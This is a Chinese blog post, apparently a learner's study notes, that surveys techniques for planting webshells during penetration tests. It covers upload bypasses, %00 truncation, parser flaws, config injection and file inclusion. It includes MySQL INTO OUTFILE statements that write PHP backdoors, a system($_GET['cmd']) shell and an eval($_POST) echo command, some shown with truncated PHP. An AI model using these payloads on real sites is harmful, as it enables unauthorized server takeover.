webshell相关之——渗透获取webshell思路总结

渗透获取webshell思路总结

又坐一天没动地方哈,但是感觉还是有一些没真整明白,也没总结的特别全面细致,今天先发出来,明天再花时间再整理一下,这个问题也是很多面试中常见问题,我认为值得花些时间来研究。

webshell相关之——渗透获取webshell思路总结_第1张图片

今天就从CMS和非CMS,与有管理权限和无管理权限(无需登录),这几个方面来梳理一下渗透测试获取webshell的思路,并没有很具体的方法实战,现在关于这个思路都是用一个南方内个靶机,网上很多,有兴趣可以自己看一下,很多内容都是CSDN 的Agan '前辈的知识拷贝过来的,参考的所有资料博文都放在了文末。

目录

  • 渗透获取webshell思路总结
  • 前言
  • 一、CMS获取Webshell方法(开源)
    • 什么是CMS?
    • 如何查看CMS相关信息?
    • 如何获取webshell?
  • 二、非CMS获取Webshell方法(公司自开发)
  • 有管理权限
    • 1.正常上传
    • 2.数据库备份与恢复
    • 3.本地js验证突破拿WebShell
    • 4、上传其它脚本类型拿WebShell
    • 5、%00截断拿WebShell
    • 6、利用解析漏洞拿WebShell
    • 7、利用编辑器漏洞拿WebShell
    • 8、网站配置插马拿WebShell
    • 9、通过编辑模块拿WebShell
    • 10、修改脚本直接拿WebShell
    • 11、SQL命令获取
    • 12、上传特殊木马拿WebShell
    • 13、文件包含拿WebShell
  • 非管理权限(不登录后台)
    • 1、SQL注入漏洞
    • 2、修改网站上传类型配置来拿WebShell
    • 3、xss和sql注入联合利用
    • 4、IIS写权限拿WebShell
    • 5、远程命令执行拿WebShell
    • 6、头像上传拿WebShell
  • 其他拿webshell方法
    • 参考资料

前言

渗透测试之后,我们要获取webshell,再到权限提升
那么有时候拉到管理员后台了(例如暴破出了密码),怎么取得一个webshell呢
webshell相关之——渗透获取webshell思路总结_第2张图片

一、CMS获取Webshell方法(开源)

什么是CMS?

CMS系统指的是内容管理系统。
内容管理系统(CMS)是允许用户将内容直接发布到Web的接口。将内容页面直接添加到Web的过程比从本地计算机创建和上载页面提前一步,因为它允许大量人员远程添加和共享数据。

通俗来讲:CMS可以理解为CMS帮你把一个网站的程序部分的事全做完了;你要做的只是一个网站里面美工的部份

如何查看CMS相关信息?

进入后台之后可以查看
查看CMS系统
有可能直接显示
有可能会在最下方信息中显示

有可能要使用工具
御剑web指纹识别
谷歌浏览器的wappalyzer

如何获取webshell?

主要通过百度搜索CMS网站程序名称。(其实就是0day)
如:phpcms拿Webshell、WordPress后台拿Webshell (通过一些模板,填ip地址的地方抓包改包,上传图片木马),phpwind拿webshell(用户等级管理插一句话,脏话过滤插一句话,模板插一句话),WordPress拿后台webshell

二、非CMS获取Webshell方法(公司自开发)

有时候有的公司并不使用开源的CMS,而是选择自己开发源代码,也就是非CMS情况下,这里的思路分为有权限和无权限两方面来分析

小补充
安装网站时可能报错误的原因
数据库权限问题
一般数据库都给一个读或者写的权限

父目录问题
启用父目录选项没勾选

IP没有设置好

验证码有问题
去修改一下源代码验证码部分

有管理权限

1.正常上传

直接上传
网站对上传文件后缀格式并未过滤,直接上传WebShell即可

大概思路是,已知后台管理员账号和密码,找有上传节点的地方,写一个隐蔽或变形的木马上传,上传成功后,用菜刀或蚁剑连接。

添加后缀类型上传
注:为什么要写一个隐蔽或变形的木马呢?因为如果你用的常见的木马,只要一上传就会被管理员或WAF发现(常见的木马WAF都是有收集的,所以可以写完木马之后用D盾检查一下,被WAF检测出来的危险等级是多少)

2.数据库备份与恢复

把允许上传的格式的木马,备份或者恢复成木马格式
网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如 asp、php、jsp、aspx等。

而网站具有数据库备份功能,这时我们就可以将WebShell格式先改为允许上传的文件格式,然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。

1)有些备份数据库的地方,限制了用户更改路径,那该怎么办?

F12打开开发者工具,修改文本框元素的value值为我们想要的路径或格式就可以完成修改

2)如果上传的格式被限制呢?该怎么办?

可以使用%00截断来绕过上传限制或使用BurpSuite 工具(%00截断、特殊名文件名绕过、文件名大小写绕过等等黑白名单绕过)之前讲过

3.本地js验证突破拿WebShell

当网站设置了js来限制用户上传的文件类型时,可以通过删除js验证或者修改上传类型突破上传拿WebShell。(这种方法之前讲过,印象很深,最近有一篇绕过IWRITE写作平台防复制粘贴内个功能就是利用的这个方法)

或者使用BurpSuite 或者是 Fiddle等代理工具提交,本地文件先更改为jpg,上传时拦截,再把文件扩展名更改为asp或者php即可

4、上传其它脚本类型拿WebShell

1)此类型用于一台服务器具有多个网站,a网站是asp的站,b可能是php的站,而a站中限制了上传文件类型为asp的文件,你可以尝试上传php的脚本,来拿Shell
2)你也可以尝试将脚本文件后缀名改为asa 或者在后面直接加个点(.)如"xx.asp." 来突破文件类型限制进行上传拿WebShell

这个思路还是头一次见噢,有用的思路增加了!

5、%00截断拿WebShell

很传统了不多说

截断上传

%00截断
特殊文件名

1)在上传文件的时候,你上传的文件名可能会被网站自动改成别的名字,这个时候你可以尝试抓取上传文件数据包,将文件名改为xx.asp%00.jpg进行截断上传,拿WebShell

6、利用解析漏洞拿WebShell

可以看中间件漏洞那个栏目 个人认为记住几个常见的就好了吧,一般都是会查一遍的,这大便宜不捡白不捡

1)IIS5.x / 6.0 解析漏洞
2)IIS 7.0 / IIS 7.5 / Nginx <8.03 畸形解析漏洞
3)Nginx < 8.03 空字节代码执行漏洞
畸形解析漏洞
4)Apache 解析漏洞
(由于Apache是从右到左开始判断解析的,如果不可识别解析,就再往左判断)

7、利用编辑器漏洞拿WebShell

同中间件

常见编辑器
fckeditor
ewebeditor
cheditor

8、网站配置插马拿WebShell

通过找到网站默认配置,将一句话插入到网站配置中,不过为了能够成功执行插马,建议先下载该站源码,进行查看源码过滤规则,以防插马失败。

PS:插马失败很有可能会导致网站被你写的一句话木马,没有闭合标签导致被网站被插废。
数据库配置文件插马也是相同的
往配置文件写入木马就可以了

不太清楚这个插废是啥情况,没遇到过,根据不同情况,编写不同代码,需要一定能力噢

9、通过编辑模块拿WebShell

1)通过对网站的模块进行编辑写入一句话,然后生成脚本文件拿WebShell
2)通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿WebShell

10、修改脚本直接拿WebShell

有的网站可以修改添加脚本文件,可以直接拿WebShell

不太懂,没有找实例,留个坑

11、SQL命令获取

这个算今天印象最深刻的了

可以通过phpmyadmin 登录数据库使用数据库命令来写如一句话拿WebShell
注:这个前提条件是需要有一定的数据库权限
大致步骤:

创建表
将一句话写入刚创建的表中
查询一句话所在表到文件,成功将一句话写入文件
具体操作

第一种

CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );
INSERT INTO `mysql`.`best` (`best1` ) VALUES ('$_POST[password]);?>');
SELECT `best1` FROM `best` INTO OUTFILE 'd:/wamp/www/best.php';
DROP TABLE IF EXISTS `best`;

将一句话木马插入到mysql库best表best1字段
查询这个字段导出到网站的文件中
把痕迹清除

第二种方法

Create TABLE moon (best text NOT NULL);
Insert INTO moon (best) VALUES('$_POST[pass]);?>');
select best from moon into outfile 'd:/wamp/www/best2.php';
Drop TABLE IF EXISTS moon;

第三种方法:

select '$_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/best3.php'

优先推荐不但简单明了,而且避免了误删别人的数据!
第四种方法

select '\';system($_GET[\'cmd\']); echo \'
\'; ?>' INTO OUTFILE 'd:/wamp/www/best4.php'

12、上传特殊木马拿WebShell

一些网站安装了WAF 安全狗、360,我们可以通过上传一些免杀马,变形木马来进行突破封杀

13、文件包含拿WebShell

先将WebShell 改为txt格式文件上传,然后上传一个脚本文件包含该txt格式文件,可绕过WAF拿WebShell

这种情况一般是,我们已经通过菜刀拿下了权限了,假设菜刀一句话木马可以过安全狗,但大马却怎么都没有上传成功,绕过安全狗

解决发现大马上传不了,被防火墙或者安全狗拦截时,可以考虑使用包含文件
思路
1)先上传一个含有包含代码(如 )却没有攻击代码的文件,不会被狗拦
2)再将大马改成jpg图片文件上传,也不会被狗拦
3)访问第一次上传的包含函数的文件,会发现执行了木马
4)这里是因为包含函数包含的文件会被当成脚本文件,直接将文件内容插入到这个文件中

非管理权限(不登录后台)

1、SQL注入漏洞

有高权限 有绝对路径可以直接写
前提条件,具有足够权限,对写入木马的文件夹有写入权限,知道网站绝对路径

1.对于MsSQL 注入漏洞网站可以通过log 备份、差异备份拿WebShell
2.对于MySQL 注入漏洞的网站可以通过into outfile 函数(写入函数)将一句话木马写入,拿WebShell。

  1. 要有file_priv权限
    2. 知道文件绝对路径
    3. 能使用union
    4. 对web目录有读权限
    注:若过滤了单引号,则可以将函数中的字符进行hex编码
    还有一个是into file 函数(读取函数)
    # into outfile 函数类似

之后
3.利用phpmyadmin 将木马导出,拿WebShell
4.利用连接外连的数据库拿WebShell

2、修改网站上传类型配置来拿WebShell

某些网站,在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型如添加asp | php | jsp | aspx | asa 后缀名来拿WebShell

3、xss和sql注入联合利用

有些输入框对一些符号过滤不严密(如<>,所以一般存在xss的地方就可以这么利用)我们可以在这里输入一句话之后再用数据库注入,查询到文件into file成功插入一句话木马

4、IIS写权限拿WebShell

有些网站的管理员在配置网站权限的时候疏忽,导致我们有写权限,这种漏洞需要用工具来利用,在这里就不说了,只是提一下。而且已经很少见了,有专门的利用工具(桂林老兵),原理是通过找到有IIS 写入权限的网站(开启WebDeV),PUT进去一个.txt 格式的文件,目录必须有刻写的权限,如 image 文件夹,然后通过move 方法,把txt 格式的木马用move 成脚本格式。

5、远程命令执行拿WebShell

在有php代码执行漏洞
例如一些框架漏洞的时候

可以通过执行一些系统命令进行拿WebShell
执行命令行命令“写入内容到文件"echo ?php "@eval($_POST['CE']);?>" > x.php 会自动将创建木马文件并将一句话木马写入其中,使用菜刀连接即可。

6、头像上传拿WebShell

大概思路:
将大马放在文件夹中
将文件夹压缩成压缩文件(zip)
正常上传一个头像并且抓包
将数据包中图片头像的内容部分删掉
重新写入文件内容,将压缩文件写入到原本图片的位置
上传
之后返回包中会告诉我们绝对路径

其他拿webshell方法

1、PhpMyadmin获取Webshell
2、Tomcat获取Webshell
3、Weblogic获取Webshell
4、JBoss获取Webshell
5.更新页面拿webshell
在网站模板中的404页面中插入一句话木马,之后找到这个页面的绝对路径,访问之即可拿Shell
6.上传插件拿webshell
将木马放入zip压缩文件中,最好是网站插件的压缩文件,之后再后台安装插件,选中含有木马的压缩文件,会自动将插件连通木马安装在网站目录下,接下来我们只需要寻找到木马的绝对路径即可

2.3.4就看之前的命令执行板块就可以了

参考资料

今天一天查了好多资料,这篇文章借鉴了以下的文章,有的年代久远有的刚更新不久,与其说借鉴,倒不如说是对这些文章的一个总结抄录,在这里由衷感谢各位安全大佬的无私分享!

  1. 获取webshell的一些总结 https://www.jianshu.com/p/4d37c160d009
  2. 拿WebShell 方法总结 原文链接:https://blog.csdn.net/God_XiangYu/article/details/99644596
  3. http://gstarwd.iteye.com/blog/542376 dedecms获取Webshell总结
  4. http://www.2cto.com/Article/201209/156909.html 浅谈MySQL导出一句话木马拿WebShell的方法

祝大家五一快乐哈!没有课和作业了,匀出更多时间可以自己安排痛痛快快学安全了哈!欧耶!

webshell相关之——渗透获取webshell思路总结_第3张图片

你可能感兴趣的:(web渗透测试与代码审计,#+,webshell相关,安全)